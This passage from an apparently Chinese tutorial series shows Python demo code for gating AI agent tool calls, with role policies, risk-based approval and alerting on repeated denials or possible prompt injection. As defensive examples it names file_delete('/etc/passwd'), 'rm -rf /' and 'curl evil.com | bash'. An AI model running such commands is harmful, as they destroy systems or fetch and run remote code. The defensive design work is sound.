        """添加敏感参数模式:当参数值包含某模式时,触发指定决策"""
        self._param_sensitive_patterns.append((param_key, pattern, decision))

    def evaluate(self, tool: Tool, params: Dict[str, Any]) -> tuple[ApprovalDecision, str]:
        """评估工具调用风险并返回审批决策。

        返回 (decision, reason)。
        """
        # Step 1: 检查是否有覆盖决策
        if tool.name in self._overrides:
            decision = self._overrides[tool.name]
            return decision, f"工具 '{tool.name}' 有覆盖决策: {decision.value}"

        # Step 2: 检查参数中的敏感模式(优先级高)
        for param_key, pattern, decision in self._param_sensitive_patterns:
            if param_key in params:
                value = str(params[param_key])
                if pattern in value:
                    return decision, (
                        f"参数 '{param_key}' 的值包含敏感模式 '{pattern}' → {decision.value}"
                    )

        # Step 3: 按风险等级的默认决策
        decision = self.RISK_DECISION_MAP.get(tool.risk_level, ApprovalDecision.REQUIRE_APPROVAL)
        return decision, f"风险等级 {tool.risk_level.value} → 默认决策 {decision.value}"


# ============================================================================
# 5. Agent 执行器 (AgentExecutor) — 编排层
# ============================================================================

@dataclass
class ExecResult:
    """工具执行结果"""
    status: ExecStatus
    tool_name: str
    params: Dict[str, Any]
    output: Optional[Any] = None
    message: str = ""


class AgentExecutor:
    """Agent 执行器:编排权限检查 → 风险评估 → 审批 → 执行 的完整流程"""

    def __init__(
        self,
        registry: ToolRegistry,
        policy: PermissionPolicy,
        gate: ApprovalGate,
        role: str,
    ):
        self.registry = registry
        self.policy = policy
        self.gate = gate
        self.role = role
        self.execution_log: List[ExecResult] = []

    def execute(self, tool_name: str, params: Dict[str, Any]) -> ExecResult:
        """执行工具调用的完整流程。

        流程:查找工具 → 权限策略检查 → 风险评估 → 审批决策 → 执行
        """
        # ---- Step 1: 查找工具 ----
        tool = self.registry.get(tool_name)
        if tool is None:
            result = ExecResult(
                status=ExecStatus.EXEC_ERROR,
                tool_name=tool_name,
                params=params,
                message=f"工具 '{tool_name}' 未在注册中心找到",
            )
            self.execution_log.append(result)
            return result

        # ---- Step 2: 权限策略检查 ----
        allowed, reason = self.policy.check(self.role, tool_name, params)
        if not allowed:
            result = ExecResult(
                status=ExecStatus.BLOCKED_BY_POLICY,
                tool_name=tool_name,
                params=params,
                message=f"权限策略拒绝: {reason}",
            )
            self.execution_log.append(result)
            return result

        print(f"  [策略检查] ✓ {reason}")

        # ---- Step 3: 风险评估 ----
        decision, reason = self.gate.evaluate(tool, params)
        print(f"  [风险评估] {decision.value}: {reason}")

        # ---- Step 4: 按审批决策处理 ----
        if decision == ApprovalDecision.BLOCK:
            result = ExecResult(
                status=ExecStatus.BLOCKED_BY_APPROVAL,
                tool_name=tool_name,
                params=params,
                message=f"审批门控阻断: {reason}",
            )
            self.execution_log.append(result)
            return result

        if decision == ApprovalDecision.REQUIRE_APPROVAL:
            # 在实际系统中,这里会发起人工审批流程
            print(f"  [审批流程] ⚠ 需要人工审批: {tool_name}({params})")
            print(f"  [审批流程] → 模拟人工审批中...")
            # 模拟:这里假设人工审批通过
            approved = self._simulate_human_approval(tool_name, params)
            if not approved:
                result = ExecResult(
                    status=ExecStatus.AWAITING_APPROVAL,
                    tool_name=tool_name,
                    params=params,
                    message="人工审批未通过",
                )
                self.execution_log.append(result)
                return result
            print(f"  [审批流程] ✓ 人工审批通过")

        if decision == ApprovalDecision.NOTIFY:
            print(f"  [通知] 工具 '{tool_name}' 已自动放行,已发送通知记录")

        # ---- Step 5: 执行工具 ----
        print(f"  [执行] 调用 {tool_name}({json.dumps(params, ensure_ascii=False)})")
        try:
            output = tool.handler(**params)
            result = ExecResult(
                status=ExecStatus.SUCCESS,
                tool_name=tool_name,
                params=params,
                output=output,
                message=f"执行成功",
            )
        except Exception as e:
            result = ExecResult(
                status=ExecStatus.EXEC_ERROR,
                tool_name=tool_name,
                params=params,
                message=f"执行异常: {e}",
            )

        self.execution_log.append(result)
        return result

    def _simulate_human_approval(self, tool_name: str, params: Dict[str, Any]) -> bool:
        """模拟人工审批(实际系统中会发送通知到审批人)"""
        # 本示例中,部署到生产环境的请求模拟为"审批通过"
        return True

    def print_summary(self) -> None:
        """打印执行摘要"""
        print("\n" + "=" * 60)
        print("执行摘要")
        print("=" * 60)
        for i, r in enumerate(self.execution_log, 1):
            icon = "✓" if r.status == ExecStatus.SUCCESS else "✗"
            print(f"  [{i}] {icon} {r.tool_name}: {r.status.value}")
            print(f"      {r.message}")


# ============================================================================
# 6. 模拟工具实现(用于演示)
# ============================================================================

def tool_file_delete(path: str) -> str:
    """模拟文件删除工具"""
    return f"文件 '{path}' 已删除(模拟)"


def tool_deploy_to_production(service: str, version: str) -> str:
    """模拟部署到生产环境的工具"""
    return f"服务 '{service}' 已部署版本 {version} 到生产环境(模拟)"


def tool_read_config(key: str) -> str:
    """模拟读取配置的工具"""
    return f"配置项 '{key}' 的值为: placeholder_value(模拟)"


# ============================================================================
# 7. 系统组装与场景演示
# ============================================================================

def build_system() -> AgentExecutor:
    """组装完整的权限控制系统"""
    # ---- 7.1 工具注册 ----
    registry = ToolRegistry()
    registry.register(Tool(
        name="file_delete",
        description="删除指定路径的文件",
        risk_level=RiskLevel.MEDIUM,
        required_permissions=["file:delete"],
        handler=tool_file_delete,
    ))
    registry.register(Tool(
        name="deploy_to_production",
        description="将服务部署到生产环境",
        risk_level=RiskLevel.HIGH,
        required_permissions=["deploy:production"],
        handler=tool_deploy_to_production,
    ))
    registry.register(Tool(
        name="read_config",
        description="读取系统配置项",
        risk_level=RiskLevel.LOW,
        required_permissions=["config:read"],
        handler=tool_read_config,
    ))

    # ---- 7.2 权限策略配置 ----
    policy = PermissionPolicy()

    # developer 角色的权限策略
    policy.add_role_policy(RolePolicy(
        role_name="developer",
        tool_rules=[
            ToolRule(
                tool_name="file_delete",
                allowed=True,
                param_rules=[
                    # 允许规则:path 必须以 /workspace/ 开头
                    ParamRule(
                        allow=True,
                        param_constraints={"path": {"prefix": "/workspace/"}},
                    ),
                    # 拒绝规则:path 不能包含 /etc/
                    ParamRule(
                        allow=False,
                        param_constraints={"path": {"prefix": "/etc/"}},
                    ),
                ],
            ),
            ToolRule(
                tool_name="deploy_to_production",
                allowed=True,
                param_rules=[
                    # 只允许部署到 staging 或 canary
                    ParamRule(
                        allow=True,
                        param_constraints={"service": {"values": ["api-gateway", "user-service"]}},
                    ),
                ],
            ),
            ToolRule(
                tool_name="read_config",
                allowed=True,
            ),
        ],
    ))

    # ---- 7.3 审批门控配置 ----
    gate = ApprovalGate()
    # 添加敏感路径模式:任何操作 /etc/ 下文件的调用直接阻断
    gate.add_sensitive_pattern("path", "/etc/", ApprovalDecision.BLOCK)

    # ---- 7.4 创建 Agent 执行器 ----
    executor = AgentExecutor(
        registry=registry,
        policy=policy,
        gate=gate,
        role="developer",
    )

    return executor


def run_demo():
    """运行演示场景"""
    print("=" * 60)
    print("Agent 工具权限控制系统 — 演示")
    print("=" * 60)
    print(f"当前角色: developer")
    print()

    executor = build_system()

    # ----------------------------------------------------------------
    # 场景 1: Agent 尝试 file_delete("/etc/passwd")
    # 预期: 被权限策略中的拒绝规则+审批门控的敏感模式阻断
    # ----------------------------------------------------------------
    print("─" * 60)
    print("场景 1: Agent 尝试 file_delete('/etc/passwd')")
    print("  预期: 被阻断(敏感路径 + 不在 /workspace/ 下)")
    print("─" * 60)
    result1 = executor.execute("file_delete", {"path": "/etc/passwd"})
    print(f"  → 结果: {result1.status.value} — {result1.message}\n")

    # ----------------------------------------------------------------
    # 场景 2: Agent 尝试 file_delete("/workspace/tmp.txt")
    # 预期: 允许(路径在 /workspace/ 下,中等风险自动放行+通知)
    # ----------------------------------------------------------------
    print("─" * 60)
    print("场景 2: Agent 尝试 file_delete('/workspace/tmp.txt')")
    print("  预期: 允许执行(路径在 workspace 内)")
    print("─" * 60)
    result2 = executor.execute("file_delete", {"path": "/workspace/tmp.txt"})
    print(f"  → 结果: {result2.status.value} — {result2.message}")
    if result2.output:
        print(f"  → 输出: {result2.output}\n")

    # ----------------------------------------------------------------
    # 场景 3: Agent 尝试 deploy_to_production()
    # 预期: 触发审批(高风险操作)
    # ----------------------------------------------------------------
    print("─" * 60)
    print("场景 3: Agent 尝试 deploy_to_production(service='api-gateway', version='v2.3.1')")
    print("  预期: 触发审批流程")
    print("─" * 60)
    result3 = executor.execute("deploy_to_production", {
        "service": "api-gateway",
        "version": "v2.3.1",
    })
    print(f"  → 结果: {result3.status.value} — {result3.message}")
    if result3.output:
        print(f"  → 输出: {result3.output}\n")

    # ----------------------------------------------------------------
    # 场景 4: 完整流程展示(正常低风险操作)
    # Agent 尝试 read_config("log_level")
    # 预期: 自动放行,执行成功
    # ----------------------------------------------------------------
    print("─" * 60)
    print("场景 4: Agent 尝试 read_config('log_level')")
    print("  预期: 自动放行,无需审批(低风险)")
    print("─" * 60)
    result4 = executor.execute("read_config", {"key": "log_level"})
    print(f"  → 结果: {result4.status.value} — {result4.message}")
    if result4.output:
        print(f"  → 输出: {result4.output}\n")

    # ---- 打印执行摘要 ----
    executor.print_summary()

    print()
    print("=" * 60)
    print("场景验证总结")
    print("=" * 60)
    print("  场景 1 (file_delete /etc/passwd)         → 被阻断 ✓")
    print("  场景 2 (file_delete /workspace/tmp.txt)  → 允许执行 ✓")
    print("  场景 3 (deploy_to_production)            → 触发审批 ✓")
    print("  场景 4 (read_config)                     → 自动放行 ✓")
    print()
    print("以上四个场景完整覆盖了权限控制系统的核心路径:")
    print("  策略拒绝 → 审批触发 → 参数约束 → 自动放行")


if __name__ == "__main__":
    run_demo()

将以上代码保存为 agent_permission_demo.py,运行 python3 agent_permission_demo.py 即可看到四个场景的执行结果。代码仅依赖 Python 标准库,无需安装任何第三方包。

执行结果示例

运行后,终端输出如下(关键部分):

============================================================
Agent 工具权限控制系统 — 演示
============================================================
当前角色: developer

────────────────────────────────────────────────────────────
场景 1: Agent 尝试 file_delete('/etc/passwd')
  预期: 被阻断(敏感路径 + 不在 /workspace/ 下)
────────────────────────────────────────────────────────────
  [风险评估] block: 参数 'path' 的值包含敏感模式 '/etc/' → block
  → 结果: blocked_by_approval — 审批门控阻断: ...

────────────────────────────────────────────────────────────
场景 2: Agent 尝试 file_delete('/workspace/tmp.txt')
  预期: 允许执行(路径在 workspace 内)
────────────────────────────────────────────────────────────
  [策略检查] ✓ 权限检查通过
  [风险评估] notify: 风险等级 medium → 默认决策 notify
  [通知] 工具 'file_delete' 已自动放行,已发送通知记录
  [执行] 调用 file_delete({"path": "/workspace/tmp.txt"})
  → 结果: success — 执行成功
  → 输出: 文件 '/workspace/tmp.txt' 已删除(模拟)

────────────────────────────────────────────────────────────
场景 3: Agent 尝试 deploy_to_production(...)
  预期: 触发审批流程
────────────────────────────────────────────────────────────
  [策略检查] ✓ 权限检查通过
  [风险评估] require_approval: 风险等级 high → 默认决策 require_approval
  [审批流程] ⚠ 需要人工审批: ...
  [审批流程] → 模拟人工审批中...
  [审批流程] ✓ 人工审批通过
  [执行] 调用 deploy_to_production(...)
  → 结果: success — 执行成功

────────────────────────────────────────────────────────────
场景 4: Agent 尝试 read_config('log_level')
  预期: 自动放行,无需审批(低风险)
────────────────────────────────────────────────────────────
  [策略检查] ✓ 权限检查通过
  [风险评估] auto_approve: 风险等级 low → 默认决策 auto_approve
  [执行] 调用 read_config({"key": "log_level"})
  → 结果: success — 执行成功

代码要点解析

这 200 行不到的代码,就是把前面六个章节的理论变成可执行系统的第一步。它不完整——缺少持久化、缺少审计日志、缺少撤销机制——但它展示了核心骨架。在生产系统中,这个骨架会被扩展和加固,但基本形状不会变。


八、生产环境考量

前面七个章节构建了工具权限控制的理论基础和代码骨架。但在生产环境中,一个权限系统要真正落地,还需要解决配置管理、热重载、监控告警和与企业 IAM 集成等一系列工程问题。本章逐一讨论这些生产级考量。

策略配置:版本控制下的 YAML/JSON

代码示例中的权限策略是硬编码在 Python 字典里的。在生产系统中,策略应该从外部配置文件加载,并且纳入版本控制。推荐的做法是将权限策略定义为 YAML 或 JSON 文件,与代码仓库一同管理:

# policies/agent-reader.yaml
role: agent-reader
description: "只读 Agent,可以查询但不能修改"
tools:
  - name: file_read
    allowed: true
    param_constraints:
      - param: path
        allow:
          prefix: "/workspace/"
  - name: db_query
    allowed: true
  - name: file_write
    allowed: false
  - name: deploy_to_production
    allowed: false

# policies/agent-operator.yaml
role: agent-operator-hq
description: "运维 Agent,可读写但需审批"
tools:
  - name: file_write
    allowed: true
    param_constraints:
      - param: path
        allow:
          prefix: "/workspace/"
    risk_override: medium          # 高风险操作
  - name: deploy_to_production
    allowed: true
    requires_approval: true       # 强制审批
    risk_level: critical

策略文件纳入版本控制的好处是显而易见的:每次策略变更有完整的 diff 记录和 commit message 解释变更原因;可以通过 PR/MR 流程进行策略评审;出问题时可以快速回滚到上一个版本。这与基础设施即代码(IaC)的理念一脉相承——将安全策略当作代码来管理

策略热重载:变更无需重启 Agent

权限策略不是一成不变的。当团队新增一个工具、调整某个角色的权限范围、或者临时收紧安全规则时,你不可能让正在运行中的 Agent 全部重启。因此需要一个策略热重载机制:

import os
import time
import yaml
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler

class PolicyReloadHandler(FileSystemEventHandler):
    """监视策略文件目录,文件变更时自动重载"""

    def __init__(self, policy_engine: PermissionPolicy):
        self._engine = policy_engine
        self._last_reload = 0
        self._debounce_seconds = 2  # 防抖:2秒内不重复加载

    def on_modified(self, event):
        if not event.src_path.endswith(('.yaml', '.yml', '.json')):
            return

        now = time.time()
        if now - self._last_reload < self._debounce_seconds:
            return
        self._last_reload = now

        try:
            with open(event.src_path) as f:
                new_policy = yaml.safe_load(f)
            self._engine.reload_policy(new_policy)
            log_info("policy_reloaded", file=event.src_path)
        except Exception as e:
            log_error("policy_reload_failed", file=event.src_path, error=str(e))
            # 关键:重载失败时保持当前策略不变,不降级为空策略

热重载的关键设计决策:

监控:记录每一次权限检查

权限控制不是"设置了就忘了"——你需要持续观察系统是否按预期运行。每一条权限检查都应该产生可观测的输出,无论结果是允许还是拒绝:

# 结构化日志示例(JSON Lines 格式,便于导入日志平台)
{"ts":"2026-05-19T10:23:45.123Z","event":"permission_check","agent_id":"agent-42",
 "role":"agent-reader","tool":"file_delete","params":{"path":"/etc/passwd"},
 "decision":"deny","rule":"default_deny","reason":"no allow rule matched",
 "duration_us":142}

{"ts":"2026-05-19T10:23:46.891Z","event":"permission_check","agent_id":"agent-42",
 "role":"agent-reader","tool":"file_read","params":{"path":"/workspace/report.txt"},
 "decision":"allow","rule":"reader-file_read-workspace","param_checks_passed":1,
 "duration_us":87}

{"ts":"2026-05-19T10:24:01.002Z","event":"approval_decision","agent_id":"agent-55",
 "role":"agent-operator","tool":"deploy_to_production",
 "risk":"critical","decision":"require_approval","approval_id":"apr-789"}

这些日志的价值远超调试:

告警:重复拒绝与异常模式

有了结构化日志,下一步是定义告警规则。以下是两种必须设置告警的场景:

  1. 重复拒绝告警——可能是攻击:如果同一个 agent 在短时间内(如 1 分钟)连续触发大量拒绝(如 10+ 次),这可能意味着 Agent 正在反复尝试越权操作——无论是 prompt 注入攻击还是配置错误。告警应该触发人工审查。
  2. 异常工具使用模式:如果某个 Agent 突然开始调用它从未使用过的工具(特别是高风险工具),即使这些调用在权限上被允许,也应该产生告警。这是一种行为基线偏离检测——Agent 可能已经被注入恶意 prompt。
# 告警规则伪代码
ALERT repeat_deny:
  IF count(permission_check{decision="deny"}, agent_id, window=60s) >= 10
  THEN severity=high, action=notify_secops

ALERT unusual_tool_usage:
  IF tool NOT IN agent_tool_baseline[agent_id]   # 不在该 Agent 的历史工具使用集合中
     AND risk_level IN (high, critical)
  THEN severity=medium, action=require_approval + notify_admin

与企业 IAM 集成

在大型组织中,Agent 的权限管理不应该是一个孤岛。你的团队已经在 LDAP、OAuth 或 SSO(如 Okta、Azure AD)中维护了用户身份和角色信息。Agent 权限系统应该能复用这些已有基础设施:

集成不是替代——Agent 工具权限控制是 IAM 之下的一个补充层。IAM 回答"这个主体有没有权限访问这个系统",而 Tool ACL 回答"这个 Agent 能不能用这个参数调用这个工具"。两者各司其职,协同工作。

预告:Agent 命令执行安全

工具权限控制管住了工具的调用边界,但一个更底层的问题尚未解决:Agent 执行的每一条 Shell 命令是否安全?

这是我们系列的第三篇将要深度探讨的主题。Shell 命令执行是最危险的 Agent 能力之一——一条 rm -rf / 可以摧毁整个系统,一条 curl evil.com | bash 可以下载并执行任意代码。工具权限控制可以在调用 shell_exec 工具时检查权限,但它无法审查命令本身的内容。

下一篇将覆盖:Shell 命令白名单/黑名单的设计、危险操作模式检测(管道、重定向、代码注入)、以及如何在系统调用层面(seccomp、AppArmor)执行安全策略。这是安全防御从应用层向内核层的纵深推进。

可引用定义

Agent 工具权限控制(Agent Tool Permission Control):一种在 AI Agent 调用工具前执行的访问控制机制,通过定义角色、规则和审批策略,确保 Agent 只能以授权的参数调用授权的工具。它是沙箱隔离之后的第二道防线——沙箱限制了代码的运行时边界,而工具权限控制限制了 Agent 的操作边界。

下一步阅读

常见问题

Q: Tool ACL 和传统 RBAC 有什么区别?

A: 传统 RBAC 控制的是"用户能不能访问某个系统资源"(如:用户 A 能不能读数据库 B)。Tool ACL 控制的是"Agent 能不能以特定参数调用特定工具"(如:Agent 能不能用 --path=/workspace/ 参数调用 file_delete 工具)。两者不在同一抽象层——RBAC 是资源级访问控制,Tool ACL 是操作级访问控制。在实际系统中,Tool ACL 通常建立在 RBAC 之上:Agent 的角色由 RBAC/IAM 定义,该角色被授予一组可调用的工具及其参数约束。

Q: 参数级控制是不是过度设计?

A: 不是。工具级别的控制("Agent 可以调用 file_delete")等价于说"Agent 可以删除任何文件"——这显然是危险的。参数级约束将权限细化到"Agent 可以删除 /workspace/tmp/ 下的文件,但不能删除 /etc/ 或 /home/ 下的文件"。在安全领域,权限粒度越细,爆炸半径越小。对于像 deploy_to_production、db_execute_sql 这样的危险工具,参数级控制不是可选项——它是必须项。

Q: 审批流会不会拖慢 Agent?

A: 不会,前提是审批流设计遵循"低风险自动放行、高风险人工审批"的分级策略。本文第五节定义的四级风险响应中,低和中低风险操作是自动放行的(auto_approve),只有高风险和关键操作才触发人工审批。在实际场景中,绝大多数 Agent 操作属于低风险(读文件、查数据库、生成报告),这些操作不会触发审批延迟。只有少数真正危险的操作需要等待人工确认——而等待人工确认本身就是安全机制的一部分。

Q: 最小权限怎么和 Agent 的自主性平衡?

A: 最小权限并不意味着 Agent 被束缚手脚——它意味着 Agent 被授予恰好足够的权限来完成当前任务。两者的平衡点在于"即时访问"(Just-in-Time Access):Agent 默认拥有最小权限(如只读),当任务需要更高权限时,通过审批流临时提升权限,任务完成后立即收回。这样 Agent 在绝大多数时间保持低权限(满足最小权限原则),但在需要时可以通过审批获得更高权限(保持自主性)。这不是遏制自主性——这是为自主性设置安全护栏。

Q: 这个方案能集成到 LangChain/AutoGen 等框架吗?

A: 能。本文描述的权限控制架构是框架无关的——它工作在工具调用层,在 Agent 框架和具体工具之间充当"权限代理"。以 LangChain 为例,你可以在 BaseTool 的 _arun 方法中加入权限检查装饰器;以 AutoGen 为例,你可以在 Agent 的 function_map 中包装一层权限校验函数。核心组件——PermissionPolicy、ApprovalGate、AgentExecutor——都是独立的 Python 类,不依赖任何特定框架。我们的建议是:将权限控制作为独立的中间件层实现,而不是嵌入到某个框架的内部——这样更换框架时不需要重写安全逻辑。

📖 下一篇预告:第三篇我们深入一层——Agent 命令执行安全。涵盖 Shell 命令白名单、危险操作检测、以及如何在系统调用层面执行安全策略。